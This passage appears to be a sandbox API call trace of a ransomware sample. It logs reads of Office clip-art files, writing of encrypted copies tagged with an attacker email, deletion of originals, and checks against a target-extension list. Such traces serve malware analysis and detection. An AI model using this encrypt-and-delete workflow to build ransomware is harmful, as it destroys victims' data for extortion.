lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0155.349] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0155.350] ReadFile (in: hFile=0x390, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.350] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.350] SetEndOfFile (hFile=0x3a4) returned 1 [0155.350] CloseHandle (hObject=0x3a4) returned 1 [0155.350] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.350] SetEndOfFile (hFile=0x390) returned 1 [0155.351] CloseHandle (hObject=0x390) returned 1 [0155.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0155.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0155.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0155.352] lstrlenW (lpString=".doc") returned 4 [0155.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.352] lstrlenW (lpString=".docx") returned 5 [0155.352] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.352] lstrlenW (lpString=".pdf") returned 4 [0155.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.352] lstrlenW (lpString=".xls") returned 4 [0155.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.352] lstrlenW (lpString=".xlsx") returned 5 [0155.352] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.352] lstrlenW (lpString=".ppt") returned 4 [0155.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0155.352] lstrlenW (lpString=".zip") returned 4 [0155.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.352] lstrlenW (lpString=".rar") returned 4 [0155.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.352] lstrlenW (lpString=".bz2") returned 4 [0155.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.352] lstrlenW (lpString=".7z") returned 3 [0155.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0155.352] lstrlenW (lpString=".dbf") returned 4 [0155.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0155.352] lstrlenW (lpString=".1cd") returned 4 [0155.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0155.352] lstrlenW (lpString=".jpg") returned 4 [0155.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.359] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.359] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.361] GetLastError () returned 0x0 [0155.361] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x11e4, lpOverlapped=0x0) returned 1 [0155.375] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x11f0, lpOverlapped=0x0) returned 1 [0155.376] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.376] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.376] SetEndOfFile (hFile=0x35c) returned 1 [0155.378] CloseHandle (hObject=0x35c) returned 1 [0155.379] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.379] SetEndOfFile (hFile=0x348) returned 1 [0155.381] CloseHandle (hObject=0x348) returned 1 [0155.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0155.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0155.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0155.384] lstrlenW (lpString=".doc") returned 4 [0155.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.384] lstrlenW (lpString=".docx") returned 5 [0155.384] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0155.384] lstrlenW (lpString=".pdf") returned 4 [0155.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.384] lstrlenW (lpString=".xls") returned 4 [0155.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.384] lstrlenW (lpString=".xlsx") returned 5 [0155.384] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0155.384] lstrlenW (lpString=".ppt") returned 4 [0155.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0155.384] lstrlenW (lpString=".zip") returned 4 [0155.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.384] lstrlenW (lpString=".rar") returned 4 [0155.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.384] lstrlenW (lpString=".bz2") returned 4 [0155.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.384] lstrlenW (lpString=".7z") returned 3 [0155.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0155.384] lstrlenW (lpString=".dbf") returned 4 [0155.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0155.384] lstrlenW (lpString=".1cd") returned 4 [0155.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0155.384] lstrlenW (lpString=".jpg") returned 4 [0155.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.387] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.387] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.390] GetLastError () returned 0x0 [0155.390] ReadFile (in: hFile=0x3a4, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1b2c, lpOverlapped=0x0) returned 1 [0155.393] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0155.394] ReadFile (in: hFile=0x3a4, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.394] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.394] SetEndOfFile (hFile=0x37c) returned 1 [0155.398] CloseHandle (hObject=0x37c) returned 1 [0155.399] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.399] SetEndOfFile (hFile=0x3a4) returned 1 [0155.405] CloseHandle (hObject=0x3a4) returned 1 [0155.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 1 [0155.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0155.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0155.409] lstrlenW (lpString=".doc") returned 4 [0155.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.409] lstrlenW (lpString=".docx") returned 5 [0155.409] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.409] lstrlenW (lpString=".pdf") returned 4 [0155.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.409] lstrlenW (lpString=".xls") returned 4 [0155.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.409] lstrlenW (lpString=".xlsx") returned 5 [0155.409] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.409] lstrlenW (lpString=".ppt") returned 4 [0155.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0155.409] lstrlenW (lpString=".zip") returned 4 [0155.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.409] lstrlenW (lpString=".rar") returned 4 [0155.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.409] lstrlenW (lpString=".bz2") returned 4 [0155.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.409] lstrlenW (lpString=".7z") returned 3 [0155.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0155.409] lstrlenW (lpString=".dbf") returned 4 [0155.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0155.409] lstrlenW (lpString=".1cd") returned 4 [0155.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0155.410] lstrlenW (lpString=".jpg") returned 4 [0155.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.414] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.414] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.419] GetLastError () returned 0x0 [0155.419] ReadFile (in: hFile=0x390, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1190, lpOverlapped=0x0) returned 1 [0155.499] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x11a0, lpOverlapped=0x0) returned 1 [0155.500] ReadFile (in: hFile=0x390, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.500] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.501] SetEndOfFile (hFile=0x37c) returned 1 [0155.501] CloseHandle (hObject=0x37c) returned 1 [0155.501] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.501] SetEndOfFile (hFile=0x390) returned 1 [0155.501] CloseHandle (hObject=0x390) returned 1 [0155.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 1 [0155.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0155.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0155.516] lstrlenW (lpString=".doc") returned 4 [0155.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.516] lstrlenW (lpString=".docx") returned 5 [0155.516] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.516] lstrlenW (lpString=".pdf") returned 4 [0155.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.516] lstrlenW (lpString=".xls") returned 4 [0155.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.517] lstrlenW (lpString=".xlsx") returned 5 [0155.517] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.517] lstrlenW (lpString=".ppt") returned 4 [0155.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0155.517] lstrlenW (lpString=".zip") returned 4 [0155.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.517] lstrlenW (lpString=".rar") returned 4 [0155.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.517] lstrlenW (lpString=".bz2") returned 4 [0155.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.517] lstrlenW (lpString=".7z") returned 3 [0155.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0155.517] lstrlenW (lpString=".dbf") returned 4 [0155.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0155.517] lstrlenW (lpString=".1cd") returned 4 [0155.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0155.517] lstrlenW (lpString=".jpg") returned 4 [0155.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.533] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.533] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0155.534] GetLastError () returned 0x0 [0155.534] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xe78, lpOverlapped=0x0) returned 1 [0155.598] WriteFile (in: hFile=0x348, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xe80, lpOverlapped=0x0) returned 1 [0155.599] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.599] WriteFile (in: hFile=0x348, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.599] SetEndOfFile (hFile=0x348) returned 1 [0155.599] CloseHandle (hObject=0x348) returned 1 [0155.599] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.599] SetEndOfFile (hFile=0x37c) returned 1 [0155.600] CloseHandle (hObject=0x37c) returned 1 [0155.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 1 [0155.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0155.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0155.600] lstrlenW (lpString=".doc") returned 4 [0155.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.600] lstrlenW (lpString=".docx") returned 5 [0155.601] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0155.601] lstrlenW (lpString=".pdf") returned 4 [0155.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.601] lstrlenW (lpString=".xls") returned 4 [0155.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.601] lstrlenW (lpString=".xlsx") returned 5 [0155.601] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0155.601] lstrlenW (lpString=".ppt") returned 4 [0155.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0155.601] lstrlenW (lpString=".zip") returned 4 [0155.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.601] lstrlenW (lpString=".rar") returned 4 [0155.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.601] lstrlenW (lpString=".bz2") returned 4 [0155.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.601] lstrlenW (lpString=".7z") returned 3 [0155.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0155.601] lstrlenW (lpString=".dbf") returned 4 [0155.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0155.601] lstrlenW (lpString=".1cd") returned 4 [0155.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0155.601] lstrlenW (lpString=".jpg") returned 4 [0155.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.609] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.609] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.612] GetLastError () returned 0x0 [0155.612] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4238, lpOverlapped=0x0) returned 1 [0155.618] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4240, lpOverlapped=0x0) returned 1 [0155.619] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.619] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.619] SetEndOfFile (hFile=0x36c) returned 1 [0155.619] CloseHandle (hObject=0x36c) returned 1 [0155.619] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.619] SetEndOfFile (hFile=0x364) returned 1 [0155.620] CloseHandle (hObject=0x364) returned 1 [0155.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 1 [0155.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0155.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0155.623] lstrlenW (lpString=".doc") returned 4 [0155.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.623] lstrlenW (lpString=".docx") returned 5 [0155.623] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0155.623] lstrlenW (lpString=".pdf") returned 4 